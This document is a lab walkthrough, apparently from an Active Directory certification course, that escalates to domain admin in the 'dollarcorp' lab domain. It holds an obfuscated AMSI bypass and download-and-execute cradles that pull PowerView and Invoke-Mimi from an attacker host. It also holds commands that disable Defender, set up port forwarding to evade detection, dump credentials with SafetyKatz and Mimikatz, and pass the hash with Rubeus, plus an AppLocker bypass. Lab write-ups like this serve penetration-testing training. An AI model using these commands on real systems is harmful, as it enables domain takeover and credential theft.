🪜Domain admin session in target domain -> escalate privileges

We are going to start by using Find-DomainUserLocation on the reverse shell we got earlier as ciadmin to looks for machines where a domain admin is logged in.

So we start by hosting our web server using wsl to bypass Enhanced Script Block Logging. Unfortunately, we have no in-memory bypass for PowerShell transcripts. Note that we could also paste the contents of sbloggingbypass.txt in place of the download-exec cradle.

iex (iwr http://172.16.100.13/sbloggingbypass.txt -UseBasicParsing)

Then we use the below command to bypass AMSI:

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Then we had a tip from a guy on discord to host a web server using WSL rather than hfs.exe ->

We then download power View on the target machine and launch the following command: Find-DomainUserLocation on the reverse shell to looks for machines where a domain admin is logged in. 

iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.13:6565/PowerView.ps1'))
Find-DomainUserLocation

We can see that there is a domain admin session on dcorp-mgmt server!

This means in the network we're going to go through this path:

  • The user svcadmin is logged into the server dcorp-mgmt.dollarcorp.moneycorp.local.

  • This user has domain admin privileges, which means they have high-level administrative access to the domain dcorp

Abuse with Winrs

Now, we have to check if we can execute commands on dcorp-mgmt server and if the winrm port is open:

winrs (Windows Remote Shell) is a command-line tool that allows you to execute commands on remote Windows machines. It is similar to SSH for Windows systems.

winrs -r:dcorp-mgmt set computername;set username

So we see that we can execute code on the dcorp-mgmt machine:

First we need to copy the Loader.exe to dcorp-mgmt:

First we copy it to our reverse shell then we load it on the target machine ->

iwr http://172.16.100.13:6565/Loader.exe -OutFile C:\Users\Public\Loader.exe
echo F | xcopy C:\Users\Public\Loader.exe \\dcorp-mgmt\C$\Users\Public\Loader.exe

We need to avoid detection on dcorp-mgmt by setting up port forwarding. This will allow traffic to be redirected from one port to another, effectively masking the original connection.

$null | winrs -r:dcorp-mgmt "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.13"

Then i wanted to run SafetyKatz

$null | winrs -r:dcorp-mgmt C:\Users\Public\Loader.exe -path http://172.16.100.13:6565/SafetyKatz.exe sekurlsa::ekeys exit

And unexpectedly it worked without any problems ->

Now with these credentials, we are going to go and perform Over pass the hash and use svcadmin's creds. On the student VM we're going to run an elevated shell and try to bypass potential detection:

And now we run the Rubeus command with %Pwn% as asktgt command

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args %Pwn% /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

We can see that %Pwn% was interpreted as asktgt, we succesfully got our TGT and it poped a shell (on the right) and we were able to execute code on domain controller

Process of this attack:

  1. We load Loader.exe to dcorp-mgmt via our jenkins shell (dcorp-ci)

  2. After port forwarding we use SafetyKatz to get svcadmin credentials

  3. We use Rubeus to perform over pass the hash to forge a TGT

  4. We succesfully forge the ticket and we can access the domain controller

For the next task, we need to escalate to domain admin using derivative local admin. Let’s find out the machines on which we have local admin privileges. On a PowerShell session started using Invisi-Shell, enter the following command.

After running the following command,

. C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1				
Find-PSRemotingLocalAdminAccess

We see that we have local admin on the dcorp-adminsrv. You will notice that any attempt to run Loader.exe (to run SafetKatz from memory) results in error 'This program is blocked by group policy.'

This could be because of an application allolist on dcorp-adminsrv and we drop into a Constrained Language Mode (CLM) when using PSRemoting.

Let's check if Applocker is configured on dcorp-adminsrv by querying registry keys.

winrs -r:dcorp-adminsrv cmd
reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2

Looks like Applocker is configured. After going through the policies, we can understand that Microsoft Signed binaries and scripts are allowed for all the users but nothing else. However, this particular rule is overly permissive!

reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2\Script\06dce67b-934c-454f-a263-2515c8796a5d

So everyone can run scripts from the C:\ProgramFiles folder

We could've checked that with the following command:

$ExecutionContext.SessionState.LanguageMode
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Before abusing this, we need to disable Windows defender:

Set-MpPreference -DisableRealtimeMonitoring $true -Verbose

we cannot run scripts using dot sourcing (. .\Invoke-Mimi.ps1) because of the Constrained Language Mode. So, we must modify Invoke-Mimi.ps1 to include the function call in the script itself and transfer the modified script (Invoke-MimiEx.ps1) to the target server.

To bypass this we would to:

  • Create a copy of Invoke-Mimi.ps1 and rename it to Invoke-MimiEx.ps1.

  • Open Invoke-MimiEx.ps1 in PowerShell ISE (Right click on it and click Edit).

  • Add "Invoke-Mimi -Command '"sekurlsa::ekeys"' " (without quotes) to the end of the file

Now from our student VM we transfer our file:

Copy-Item C:\AD\Tools\Invoke-MimiEx.ps1 \\dcorp-adminsrv.dollarcorp.moneycorp.local\c$\'Program Files'

Here we see that the command was succesful:

So we just have to run the file and collect our hashes:

So now we can ask for a tgt with rubeus, on local machine open a elevated cmd and set those values to bypass defender:

Now we ask for a tgt with the new hashes we got:

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args %Pwn% /user:srvadmin /aes256:145019659e1da3fb150ed94d510eb770276cfbd0cbd834a4ac331f2effe1dbb4 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

Then a shell will spawn with srvadmin privileges, we just have to check if srvadmin has admin privileges on any other machine:

So we can see we have local admin on dcorp-mgmt and dcorp-adminsrv

We now need to transfer Loader.exe and Safty.bat

echo F | xcopy C:\AD\Tools\Loader.exe \\dcorp-mgmt\C$\Users\Public\Loader.exe
echo F | xcopy C:\AD\Tools\Safety.bat \\dcorp-mgmt\C$\Users\Public\Safety.bat

We now need to run Invoke-mimi on dcorp-mgmt

winrs -r:dcorp-mgmt cmd

We start by getting our shell then bypass AMSI to download the ps1 script:

[AMSI bypass script]
iex (iwr http://172.16.100.13:6565/Invoke-Mimi.ps1 -UseBasicParsing)
 Invoke-Mimi -Command '"sekurlsa::ekeys"'

And after that we can use Invoke-Mimi

Invoke-Mimi for extracting credentials from credentials vault

We can also look for credentials from the credentials vault. Interesting credentials like those used for scheduled tasks are stored in the credential vault.

Invoke-Mimi -Command '"token::elevate" "vault::cred /patch"'

And finaly we can use the hash we found on the Student VM to perform Over Pass the hash

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args %Pwn% /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

PreviousBloodHound, Identify PathsNextExtract secrets from DC, Create and use Golden Tickets

Last updated